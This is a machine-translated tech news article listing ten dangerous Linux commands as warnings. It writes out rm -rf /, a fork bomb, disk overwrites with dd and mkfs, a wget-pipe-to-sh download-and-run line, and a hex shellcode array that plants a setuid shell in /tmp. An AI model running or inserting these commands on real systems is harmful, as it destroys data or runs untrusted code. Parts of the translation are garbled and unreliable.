In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-20 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/01 Report--
Today I will show you what are the 10 commands that cannot be easily used in the Linux system. The content of the article is good. Now I would like to share it with you. Friends who feel in need can understand it. I hope it will be helpful to you. Let's read it along with the editor's ideas.
Linux requires very powerful commands, but some commands are dangerous. Here are 10 very dangerous commands in Linux.
1. Rm-rf command rm-rf command is one of the fastest ways to delete a folder and its contents. Even the slightest mistake or ignorance can lead to the collapse of an irreversible system. Here are some options for the rm command.
The rm command is usually used to delete files under Linux.
The rm-r command recursively deletes folders, even empty folders. (translation note: personally, I think it should be wrong, and from common sense, it should be "even non-empty folders")
The rm-f command deletes' read-only files' without being asked. Note: deleting a file under Linux does not care whether the file is read-only, but whether the parent directory has write permission. So, the parameter-f just means that you don't have to delete the confirmation one by one, but delete it all quietly. In addition, the original rm command does not actually delete the prompt, but the general distribution will add the rm alias to the-I parameter to request deletion confirmation, and-f suppresses the prompt. )
Rm-rf /: forces the deletion of everything in the root directory. (that is to say, after deletion, there is nothing left. )
Rm-rf *: forces the deletion of all files in the current directory.
Rm-rf. Forces the current folder and its subfolders to be deleted
From now on, please be careful when you execute the rm-rf command. We can create an alias for rm-I in the ".bashrc" file to the 'rm' command to prevent accidents when deleting files with the' rm' command, which asks you to confirm each delete request. Most distributions have already done this, if not, do so, and be sure to think about what you are doing before using the-f parameter! The translator himself has learned the lesson of blood and tears. )
2.: () {: |: &};: command this is an example of a fork bomb. This is done by defining a function called':', which calls itself twice, once in the foreground and once in the background. It will be executed repeatedly until the system crashes.
: () {:: |: &};: Oh? Are you sure you want to try? Never experiment on the company's official server.
3. Command > / dev/sda the above command writes the output of a 'command' to the block device / dev/sda. This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss for the entire block device.
4. Mv folder / dev/null this command moves a 'folder' to / dev/null. In Linux, the / dev/null or null device is a special file, and all data written to it is erased and a successful write operation is returned. This is a black hole. Of course, to be clear, moving the folder to the black hole doesn't stop the redemption of the data recovery software, so the real complete destruction, you need to use dedicated software or techniques to do it-I know there's something you want to delete cleanly. )
The above command # mv / home/user/* / dev/null moves all the contents of the User directory to / dev/null, which means that everything is' involved'in the null.
5. Wget http://malicious_source-O-| sh the above command downloads a script from a (perhaps) malicious source and executes it. The Wget command downloads the script, and sh executes the downloaded script (unconditionally).
Note: you should always pay attention to the source of your download package or script. You can only use those that download scripts / programs from trusted sources. So, do you really know what you're doing? When faced with this need, what I do is to wget down first, then I read what is written in it, and then consider whether to implement it or not. )
6. Mkfs.ext3 / dev/sda the above command will format the block device 'sda',. You no doubt know that after executing the above command, your block device (hard drive) will be formatted, brand new! Without any data, directly bring your system to an unrecoverable stage. Note: devices such as / dev/sda are not usually used directly, unless they are used as raw devices, you generally need to divide sda into partitions such as sda1 and sda2 before using it. Of course, whether you use sda or sda1, this mkfs of block devices or partitions is devastating, and the above data will be evaporated. )
7. > file the above command is often used to empty the contents of the file. However, please make sure that the output file is empty or does not exist before execution, otherwise the original file will not be recovered-even the data recovery software may not be able to help you. In addition, I think you might really want to use ">", which accumulates new output to the file instead of refreshing that file. ). Incorrectly or ignorantly typing commands like "> xt.conf" with the above will overwrite the configuration file or any other system configuration file.
8. The command foobar, described in our ten little-known Linux commands, Part 3 [1], is used to edit previously run commands without retyping the entire command. But if you don't thoroughly examine the risk of changing the original command when using the foobar command, this can lead to real trouble. In fact, this little technique is considered by the translator to be a useless and harmful "hacker" technique left over from prehistoric times. )
9. The above command dd if=/dev/random of=/dev/sda writes random junk files to the block device sda to erase the data. That's for sure! Your system may be in a chaotic and irrecoverable state. Remember when it was said that mv to a black hole can't delete data completely? Then this command gives you a way to delete it completely! Of course, just to be on the safe side, you can rewrite it many times. )
10. The command below the hidden command is actually the first command above (rm-rf). The code here is hidden in hexadecimal, and an ignorant user may be fooled. Running the following command from the terminal may erase your root partition.
This command shows that the real danger is usually hidden and cannot be easily detected. You must always pay attention to what you are doing and what will happen. Do not compile / run code from unknown sources.
Char esp [] _ _ attribute__ ((section (".text")) / * e.s.p release * / = "\ xeb\ x3e\ x5b\ X31\ xc0\ x50\ x54\ x5a\ x83\ xec\ x64\ x68"\ xff\ x68\ xdf\ xd0\ xdf\ x68\ x8d\ x99"\ xdf\ x81\ x68\ x8d\ x92\ xdf\ xd2\ x54\ x5e\ xf7\ x16\ xf7 "\ x56\ x04" \ xf7\ x56\ x08\ xf7\ x83\ xc4\ x74\ x56 ""\ x8d\ x73\ x08\ x53\ x54\ xb0\ X0b\ xcd\ x80\ x31 ""\ xc0\ x40\ xeb\ xf9\ xe8\ xbd\ xff\ xff\ x6e\ x62\ x69 "\ x6e\ x2f\ x73\ x68\ x00\ x2d\ x63\ x00" cp-p / bin/sh / tmp/.beyond " Chmod 4755 / tmp/.beyond; "; what is the Linux system Linux is a free to use and freely spread UNIX-like operating system, is a POSIX-based multi-user, multi-tasking, multi-threading and multi-CPU operating system, using Linux can run major Unix tools, applications and network protocols.
These are all of the 10 commands that cannot be easily used in the Linux system, and more related to what the 10 commands that cannot be easily used in the Linux system are. You can search the previous articles or browse the following articles to learn! I believe the editor will add more knowledge to you. I hope you can support it!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.